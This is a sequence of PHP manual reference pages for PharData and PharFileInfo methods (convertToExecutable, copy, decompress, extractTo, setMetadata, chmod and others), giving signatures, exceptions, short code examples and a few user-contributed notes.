(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::convertToExecutable — Convert a non-executable tar/zip archive to an executable phar archive

Description

Phar PharData::convertToExecutable ([ int $format [, int $compression [, string $extension ]]] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method is used to convert a non-executable tar or zip archive to an executable phar archive. Any of the three executable file formats (phar, tar or zip) can be used, and whole-archive compression can also be performed.

If no changes are specified, this method throws a BadMethodCallException.

If successful, the method creates a new archive on disk and returns a Phar object. The old archive is not removed from disk, and should be done manually after the process has finished.

Parameters

format

This should be one of Phar::PHAR, Phar::TAR, or Phar::ZIP. If set to NULL, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that all zip- and tar-based phar archives must contain .phar in their file extension in order to be processed as a phar archive.

If converting to a phar-based archive, the default extensions are .phar, .phar.gz, or .phar.bz2 depending on the specified compression. For tar-based phar archives, the default extensions are .phar.tar, .phar.tar.gz, and .phar.tar.bz2. For zip-based phar archives, the default extension is .phar.zip.

Return Values

The method returns a Phar object on success and throws an exception on failure.

Errors/Exceptions

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), an UnexpectedValueException if write support is disabled, and a PharException if any problems are encountered during the phar creation process.

Examples

Example #1 A PharData::convertToExecutable() example

Using PharData::convertToExecutable():

<?php
try {
    $tarphar = new PharData('myphar.tar');
    // convert it to the phar file format
    // note that myphar.tar is *not* unlinked
    $phar = $tarphar->convertToExecutable(Phar::PHAR); // creates myphar.phar
    $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
    // creates myphar.phar.tgz
    $compressed = $tarphar->convertToExecutable(Phar::TAR, Phar::GZ, '.phar.tgz');
} catch (Exception $e) {
    // handle the error here
}
?>

See Also

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

There are no user contributed notes for this page.


Copy a file internal to the phar archive to another new file within the phar

  • « PharData::convertToExecutable
  • PharData::decompress »
  • PHP Manual
  • PharData
  • Copy a file internal to the phar archive to another new file within the phar

PharData::copy

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::copy — Copy a file internal to the phar archive to another new file within the phar

Description

bool PharData::copy ( string $oldfile , string $newfile )

Copy a file internal to the tar/zip archive to another new file within the same archive. This is an object-oriented alternative to using copy() with the phar stream wrapper.

Parameters

oldfile

newfile

Return Values

returns TRUE on success, but it is safer to encase method call in a try/catch block and assume success if no exception is thrown.

Errors/Exceptions

throws UnexpectedValueException if the source file does not exist, the destination file already exists, write access is disabled, opening either file fails, reading the source file fails, or a PharException if writing the changes to the phar fails.

Examples

Example #1 A PharData::copy() example

This example shows using PharData::copy() and the equivalent stream wrapper performance of the same thing. The primary difference between the two approaches is error handling. All PharData methods throw exceptions, whereas the stream wrapper uses trigger_error().

<?php
try {
    $phar = new PharData('myphar.tar');
    $phar['a'] = 'hi';
    $phar->copy('a', 'b');
    echo $phar['b']; // outputs "phar://myphar.tar/b"
} catch (Exception $e) {
    // handle error
}

// the stream wrapper equivalent of the above code.
// E_WARNINGS are triggered on error rather than exceptions.
copy('phar://myphar.tar/a', 'phar//myphar.tar/c');
echo file_get_contents('phar://myphar.tar/c'); // outputs "hi"
?>

User Contributed Notes

There are no user contributed notes for this page.


Decompresses the entire Phar archive

  • « PharData::copy
  • PharData::decompressFiles »
  • PHP Manual
  • PharData
  • Decompresses the entire Phar archive

PharData::decompress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::decompress — Decompresses the entire Phar archive

Description

object PharData::decompress ([ string $extension ] )

For tar-based archives, this method decompresses the entire archive.

For Zip-based archives, this method fails with an exception. The zlib extension must be enabled to decompress an archive compressed with gzip compression, and the bzip2 extension must be enabled in order to decompress an archive compressed with bzip2 compression.

In addition, this method automatically renames the file extension of the archive, .tar by default. Alternatively, a file extension may be specified with the second parameter.

Parameters

extension

For decompressing, the default file extension is .phar.tar. Use this parameter to specify another file extension. Be aware that no non-executable archives cannot contain .phar in their filename.

Return Values

A PharData object is returned.

Errors/Exceptions

Throws BadMethodCallException if the zlib extension is not available, or the bzip2 extension is not enabled.

Examples

Example #1 A PharData::decompress() example

<?php
$p = new PharData('/path/to/my.tar', 0, 'my.tar.gz');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p3 = $p2->decompress(); // creates /path/to/my.tar
?>

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • PharData::compressFiles() - Compresses all files in the current tar/zip archive
  • PharData::decompressFiles() - Decompresses all files in the current zip archive

User Contributed Notes

There are no user contributed notes for this page.


Decompresses all files in the current zip archive

  • « PharData::decompress
  • PharData::delMetadata »
  • PHP Manual
  • PharData
  • Decompresses all files in the current zip archive

PharData::decompressFiles

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::decompressFiles — Decompresses all files in the current zip archive

Description

bool PharData::decompressFiles ( void )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use PharData::compress() to compress an entire tar-based archive.

For Zip-based archives, this method decompresses all files in the archive. The zlib or bzip2 extensions must be enabled to take advantage of this feature if any files are compressed using bzip2/zlib compression.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

Examples

Example #1 A PharData::decompressFiles() example

<?php
$p = new PharData('/path/to/my.zip');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->decompressFiles();
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

The above example will output:

string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • PharData::compressFiles() - Compresses all files in the current tar/zip archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • PharData::decompress() - Decompresses the entire Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Deletes the global metadata of a zip archive

  • « PharData::decompressFiles
  • PharData::delete »
  • PHP Manual
  • PharData
  • Deletes the global metadata of a zip archive

PharData::delMetadata

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::delMetadata — Deletes the global metadata of a zip archive

Description

bool PharData::delMetadata ( void )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Deletes the global metadata of the zip archive

Parameters

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A PharData::delMetaData() example

<?php
try {
    $phar = new PharData('myphar.zip');
    var_dump($phar->getMetadata());
    $phar->setMetadata("hi there");
    var_dump($phar->getMetadata());
    $phar->delMetadata();
    var_dump($phar->getMetadata());
} catch (Exception $e) {
    // handle errors
}
?>

The above example will output:

NULL
string(8) "hi there"
NULL

See Also

  • Phar::delMetadata() - Deletes the global metadata of the phar

User Contributed Notes

There are no user contributed notes for this page.


Delete a file within a tar/zip archive

  • « PharData::delMetadata
  • PharData::extractTo »
  • PHP Manual
  • PharData
  • Delete a file within a tar/zip archive

PharData::delete

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::delete — Delete a file within a tar/zip archive

Description

bool PharData::delete ( string $entry )

Delete a file within an archive. This is the functional equivalent of calling unlink() on the stream wrapper equivalent, as shown in the example below.

Parameters

entry

Path within an archive to the file to delete.

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A PharData::delete() example

<?php
try {
    $phar = new PharData('myphar.zip');
    $phar->delete('unlink/me.php');
    // this is equivalent to:
    unlink('phar://myphar.phar/unlink/me.php');
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • Phar::delete() - Delete a file within a phar archive

User Contributed Notes

There are no user contributed notes for this page.


Extract the contents of a tar/zip archive to a directory

  • « PharData::delete
  • PharData::isWritable »
  • PHP Manual
  • PharData
  • Extract the contents of a tar/zip archive to a directory

PharData::extractTo

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::extractTo — Extract the contents of a tar/zip archive to a directory

Description

bool PharData::extractTo ( string $pathto [, string|array $files [, bool $overwrite = false ]] )

Extract all files within a tar/zip archive to disk. Extracted files and directories preserve permissions as stored in the archive. The optional parameters allow optional control over which files are extracted, and whether existing files on disk can be overwritten. The second parameter files can be either the name of a file or directory to extract, or an array of names of files and directories to extract. By default, this method will not overwrite existing files, the third parameter can be set to true to enable overwriting of files. This method is similar to ZipArchive::extractTo().

Parameters

pathto

Path to extract the given files to

files

The name of a file or directory to extract, or an array of files/directories to extract

overwrite

Set to TRUE to enable overwriting existing files

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A PharData::extractTo() example

<?php
try {
    $phar = new PharData('myphar.tar');
    $phar->extractTo('/full/path'); // extract all files
    $phar->extractTo('/another/path', 'file.txt'); // extract only file.txt
    $phar->extractTo('/this/path',
        array('file1.txt', 'file2.txt')); // extract 2 files only
    $phar->extractTo('/third/path', null, true); // extract all files, and overwrite
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • Phar::extractTo() - Extract the contents of a phar archive to a directory

User Contributed Notes

njh at aelius dot com 08-Mar-2013 08:34
Note that PHAR only supports extracting the 'ustar' variant of the tar archives.

Some systems (such as older versions of Mac OS X) generate the 'pax' format by default.

See here for more information:
http://php.net/manual/pl/phar.fileformat.tar.php


Returns true if the tar/zip archive can be modified

  • « PharData::extractTo
  • PharData::offsetSet »
  • PHP Manual
  • PharData
  • Returns true if the tar/zip archive can be modified

PharData::isWritable

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::isWritable — Returns true if the tar/zip archive can be modified

Description

bool PharData::isWritable ( void )

This method returns TRUE if the tar/zip archive on disk is not read-only. Unlike Phar::isWritable(), data-only tar/zip archives can be modified even if phar.readonly is set to 1.

Parameters

No parameters.

Return Values

Returns TRUE if the tar/zip archive can be modified

See Also

  • Phar::canWrite() - Returns whether phar extension supports writing and creating phars
  • Phar::isWritable() - Returns true if the phar archive can be modified

User Contributed Notes

There are no user contributed notes for this page.


set the contents of a file within the tar/zip to those of an external file or string

  • « PharData::isWritable
  • PharData::offsetUnset »
  • PHP Manual
  • PharData
  • set the contents of a file within the tar/zip to those of an external file or string

PharData::offsetSet

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::offsetSet — set the contents of a file within the tar/zip to those of an external file or string

Description

void PharData::offsetSet ( string $offset , string $value )

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a tar/zip archive using array access brackets. offsetSet is used for modifying an existing file, or adding a new file to a tar/zip archive.

Parameters

offset

The filename (relative path) to modify in a tar or zip archive.

value

Content of the file.

Return Values

No return values.

Errors/Exceptions

Throws PharException if there are any problems flushing changes made to the tar/zip archive to disk.

Examples

Example #1 A PharData::offsetSet() example

offsetSet should not be accessed directly, but instead used via array access with the [] operator.

<?php
$p = new PharData('/path/to/my.tar');
try {
    // calls offsetSet
    $p['file.txt'] = 'Hi there';
} catch (Exception $e) {
    echo 'Could not modify file.txt:', $e;
}
?>

See Also

  • Phar::offsetSet() - set the contents of an internal file to those of an external file

User Contributed Notes

There are no user contributed notes for this page.


remove a file from a tar/zip archive

  • « PharData::offsetSet
  • PharData::setAlias »
  • PHP Manual
  • PharData
  • remove a file from a tar/zip archive

PharData::offsetUnset

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::offsetUnset — remove a file from a tar/zip archive

Description

bool PharData::offsetUnset ( string $offset )

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a tar/zip archive using array access brackets. offsetUnset is used for deleting an existing file, and is called by the unset() language construct.

Parameters

offset

The filename (relative path) to modify in the tar/zip archive.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws PharException if there are any problems flushing changes made to the tar/zip archive to disk.

Examples

Example #1 A PharData::offsetUnset() example

<?php
$p = new PharData('/path/to/my.zip');
try {
    // deletes file.txt from my.zip by calling offsetUnset
    unset($p['file.txt']);
} catch (Exception $e) {
    echo 'Could not delete file.txt: ', $e;
}
?>

See Also

  • Phar::offsetUnset() - remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.


dummy function (Phar::setAlias is not valid for PharData)

  • « PharData::offsetUnset
  • PharData::setDefaultStub »
  • PHP Manual
  • PharData
  • dummy function (Phar::setAlias is not valid for PharData)

PharData::setAlias

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::setAlias — dummy function (Phar::setAlias is not valid for PharData)

Description

bool PharData::setAlias ( string $alias )

Non-executable tar/zip archives cannot have an alias, so this method simply throws an exception.

Parameters

alias

A shorthand string that this archive can be referred to in phar stream wrapper access. This parameter is ignored.

Return Values

Errors/Exceptions

Throws PharException on all method calls

See Also

  • Phar::setAlias() - Set the alias for the Phar archive

User Contributed Notes

There are no user contributed notes for this page.


dummy function (Phar::setDefaultStub is not valid for PharData)

  • « PharData::setAlias
  • Phar::setMetadata »
  • PHP Manual
  • PharData
  • dummy function (Phar::setDefaultStub is not valid for PharData)

PharData::setDefaultStub

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::setDefaultStub — dummy function (Phar::setDefaultStub is not valid for PharData)

Description

bool PharData::setDefaultStub ([ string $index [, string $webindex ]] )

Non-executable tar/zip archives cannot have a stub, so this method simply throws an exception.

Parameters

index

Relative path within the phar archive to run if accessed on the command-line

webindex

Relative path within the phar archive to run if accessed through a web browser

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws PharException on all method calls

See Also

  • Phar::setDefaultStub() - Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader

User Contributed Notes

There are no user contributed notes for this page.


Sets phar archive meta-data

  • « PharData::setDefaultStub
  • Phar::setSignatureAlgorithm »
  • PHP Manual
  • PharData
  • Sets phar archive meta-data

Phar::setMetadata

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::setMetadata — Sets phar archive meta-data

Description

public void Phar::setMetadata ( mixed $metadata )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Phar::setMetadata() should be used to store customized data that describes something about the phar archive as a complete entity. PharFileInfo::setMetadata() should be used for file-specific meta-data. Meta-data can slow down the performance of loading a phar archive if the data is large.

Some possible uses for meta-data include specifying which file within the archive should be used to bootstrap the archive, or the location of a file manifest like » PEAR's package.xml file. However, any useful data that describes the phar archive may be stored.

Parameters

metadata

Any PHP variable containing information to store that describes the phar archive

Return Values

No value is returned.

Examples

Example #1 A Phar::setMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.php'] = '<?php echo "hello"';
    $p->setMetadata(array('bootstrap' => 'file.php'));
    var_dump($p->getMetadata());
} catch (Exception $e) {
    echo 'Could not create and/or modify phar:', $e;
}
?>

The above example will output:

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

See Also

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.


set the signature algorithm for a phar and apply it. The

  • « Phar::setMetadata
  • PharData::setStub »
  • PHP Manual
  • PharData
  • set the signature algorithm for a phar and apply it. The

Phar::setSignatureAlgorithm

(PHP >= 5.3.0, PECL phar >= 1.1.0)

Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it. The

Description

public void Phar::setSignatureAlgorithm ( int $sigtype )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

set the signature algorithm for a phar and apply it. The signature algorithm must be one of Phar::MD5, Phar::SHA1, Phar::SHA256, Phar::SHA512, or Phar::PGP (pgp not yet supported and falls back to SHA-1).

Parameters

sigtype

    One of Phar::MD5,
Phar::SHA1, Phar::SHA256,
Phar::SHA512, or Phar::PGP

Return Values

No value is returned.

Errors/Exceptions

Throws UnexpectedValueException for many errors, BadMethodCallException if called for a zip- or a tar-based phar archive, and a PharException if any problems occur flushing changes to disk.

See Also

  • Phar::getSupportedSignatures() - Return array of supported signature types
  • Phar::getSignature() - Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

User Contributed Notes

obsidian[at-nospam]codebite[dot]net 14-Jun-2011 11:06
As a note, the docs don't show the (optional) second parameter nor mention the existence of the Phar::OPENSSL class constant also available for use with this method.

To sign a phar with OpenSSL, for example...

<?php

$phar = new Phar('somephar.phar');
// ... add your files and such
$phar->setSignatureAlgorithm(Phar::OPENSSL, file_get_contents('private_key_here.pem'));
// ... do whatever else you want afterwards here ...
?>

Hope this proves useful to someone.


dummy function (Phar::setStub is not valid for PharData)

  • « Phar::setSignatureAlgorithm
  • PharFileInfo »
  • PHP Manual
  • PharData
  • dummy function (Phar::setStub is not valid for PharData)

PharData::setStub

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::setStub — dummy function (Phar::setStub is not valid for PharData)

Description

bool PharData::setStub ( string $stub [, int $len = -1 ] )

Non-executable tar/zip archives cannot have a stub, so this method simply throws an exception.

Parameters

stub

A string or an open stream handle to use as the executable stub for this phar archive. This parameter is ignored.

len

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws PharException on all method calls

Changelog

Version | Description
5.4.0 | Added len parameter.

See Also

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.


The PharFileInfo class

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Introduction

The PharFileInfo class provides a high-level interface to the contents and attributes of a single file within a phar archive.

Class synopsis

PharFileInfo extends SplFileInfo {
/* Methods */
public void chmod ( int $permissions )
public bool compress ( int $compression )
public __construct ( string $entry )
public bool decompress ( void )
public bool delMetadata ( void )
public int getCRC32 ( void )
public int getCompressedSize ( void )
public mixed getMetadata ( void )
public int getPharFlags ( void )
public bool hasMetadata ( void )
public bool isCRCChecked ( void )
public bool isCompressed ([ int $compression_type = 9021976 ] )
public bool isCompressedBZIP2 ( void )
public bool isCompressedGZ ( void )
public bool setCompressedBZIP2 ( void )
public bool setCompressedGZ ( void )
public void setMetadata ( mixed $metadata )
public bool setUncompressed ( void )
}

Table of Contents

  • PharFileInfo::chmod — Sets file-specific permission bits
  • PharFileInfo::compress — Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::__construct — Construct a Phar entry object
  • PharFileInfo::decompress — Decompresses the current Phar entry within the phar
  • PharFileInfo::delMetadata — Deletes the metadata of the entry
  • PharFileInfo::getCRC32 — Returns CRC32 code or throws an exception if CRC has not been verified
  • PharFileInfo::getCompressedSize — Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::getMetadata — Returns file-specific meta-data saved with a file
  • PharFileInfo::getPharFlags — Returns the Phar file entry flags
  • PharFileInfo::hasMetadata — Returns the metadata of the entry
  • PharFileInfo::isCRCChecked — Returns whether file entry has had its CRC verified
  • PharFileInfo::isCompressed — Returns whether the entry is compressed
  • PharFileInfo::isCompressedBZIP2 — Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressedGZ — Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2 — Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setCompressedGZ — Compresses the current Phar entry within the phar using gz compression
  • PharFileInfo::setMetadata — Sets file-specific meta-data saved with a file
  • PharFileInfo::setUncompressed — Uncompresses the current Phar entry within the phar, if it is compressed

User Contributed Notes

There are no user contributed notes for this page.


Sets file-specific permission bits

  • « PharFileInfo
  • PharFileInfo::compress »
  • PHP Manual
  • PharFileInfo
  • Sets file-specific permission bits

PharFileInfo::chmod

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::chmod — Sets file-specific permission bits

Description

public void PharFileInfo::chmod ( int $permissions )

PharFileInfo::chmod() allows setting of the executable file permissions bit, as well as read-only bits. Writeable bits are ignored, and set at runtime based on the phar.readonly INI variable. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

Parameters

permissions

permissions (see chmod())

Return Values

No value is returned.

Examples

Example #1 A PharFileInfo::chmod() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar('brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.sh'] = '#!/usr/local/lib/php
    <?php echo "hi"; ?>';
    // set executable bit
    $p['file.sh']->chmod(0555);
    var_dump($p['file.sh']->isExecutable());
} catch (Exception $e) {
    echo 'Could not create/modify phar: ', $e;
}
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Compresses the current Phar entry with either zlib or bzip2 compression

  • « PharFileInfo::chmod
  • PharFileInfo::__construct »
  • PHP Manual
  • PharFileInfo
  • Compresses the current Phar entry with either zlib or bzip2 compression

PharFileInfo::compress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharFileInfo::compress — Compresses the current Phar entry with either zlib or bzip2 compression

Description

public bool PharFileInfo::compress ( int $compression )

This method compresses the file inside the Phar archive using either bzip2 compression or zlib compression. The bzip2 or zlib extension must be enabled to take advantage of this feature. In addition, if the file is already compressed, the respective extension must be enabled in order to decompress the file. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the bzip2/zlib extension is not available.

Examples

Example #1 A PharFileInfo::compress() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->isCompressed(Phar::BZ2));
    $p['myfile.txt']->compress(Phar::BZ2);
    var_dump($file->isCompressed(Phar::BZ2));
} catch (Exception $e) {
    echo 'Create/modify operations on my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms

User Contributed Notes

There are no user contributed notes for this page.


Construct a Phar entry object

  • « PharFileInfo::compress
  • PharFileInfo::decompress »
  • PHP Manual
  • PharFileInfo
  • Construct a Phar entry object

PharFileInfo::__construct

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::__construct — Construct a Phar entry object

Description

public PharFileInfo::__construct ( string $entry )

This should not be called directly. Instead, a PharFileInfo object is initialized by calling Phar::offsetGet() through array access.

Parameters

entry

The full url to retrieve a file. If you wish to retrieve the information for the file my/file.php from the phar boo.phar, the entry should be phar://boo.phar/my/file.php.

Errors/Exceptions

Throws BadMethodCallException if __construct() is called twice. Throws UnexpectedValueException if the phar URL requested is malformed, the requested phar cannot be opened, or the file can't be found within the phar.

Examples

Example #1 A PharFileInfo::__construct() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['testfile.txt'] = "hi\nthere\ndude";
    $file = $p['testfile.txt'];
    foreach ($file as $line => $text) {
        echo "line number $line: $text";
    }
    // this also works
    $file = new PharFileInfo('phar:///path/to/my.phar/testfile.txt');
    foreach ($file as $line => $text) {
        echo "line number $line: $text";
    }
} catch (Exception $e) {
    echo 'Phar operations failed: ', $e;
}
?>

The above example will output:

line number 1: hi
line number 2: there
line number 3: dude
line number 1: hi
line number 2: there
line number 3: dude

User Contributed Notes

There are no user contributed notes for this page.


Decompresses the current Phar entry within the phar

  • « PharFileInfo::__construct
  • PharFileInfo::delMetadata »
  • PHP Manual
  • PharFileInfo
  • Decompresses the current Phar entry within the phar

PharFileInfo::decompress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharFileInfo::decompress — Decompresses the current Phar entry within the phar

Description

public bool PharFileInfo::decompress ( void )

This method decompresses the file inside the Phar archive. Depending on how the file is compressed, the bzip2 or zlib extensions must be enabled to take advantage of this feature. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the bzip2/zlib extension is not available.

Examples

Example #1 A PharFileInfo::decompress() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    $file->compress(Phar::GZ);
    var_dump($file->isCompressed());
    $p['myfile.txt']->decompress();
    var_dump($file->isCompressed());
} catch (Exception $e) {
    echo 'Create/modify failed for my.phar: ', $e;
}
?>

The above example will output:

int(4096)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms

User Contributed Notes

There are no user contributed notes for this page.


Deletes the metadata of the entry

  • « PharFileInfo::decompress
  • PharFileInfo::getCRC32 »
  • PHP Manual
  • PharFileInfo
  • Deletes the metadata of the entry

PharFileInfo::delMetadata

(PHP >= 5.3.0, PECL phar >= 1.2.0)

PharFileInfo::delMetadata — Deletes the metadata of the entry

Description

public bool PharFileInfo::delMetadata ( void )

Deletes the metadata of the entry, if any.

Parameters

No parameters.

Return Values

Returns TRUE if successful, FALSE if the entry had no metadata. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

Errors/Exceptions

Throws PharException if errors occurred while flushing changes to disk, and BadMethodCallException if write access is disabled.

Examples

Example #1 A PharFileInfo::delMetaData() example

<?php
try {
    $a = new Phar('myphar.phar');
    $a['hi'] = 'hi';
    var_dump($a['hi']->delMetadata());
    $a['hi']->setMetadata('there');
    var_dump($a['hi']->delMetadata());
    var_dump($a['hi']->delMetadata());
} catch (Exception $e) {
    // handle errors
}
?>

The above example will output:

bool(false)
bool(true)
bool(false)

See Also

  • PharFileInfo::setMetadata() - Sets file-specific meta-data saved with a file
  • PharFileInfo::hasMetadata() - Returns the metadata of the entry
  • PharFileInfo::getMetadata() - Returns file-specific meta-data saved with a file
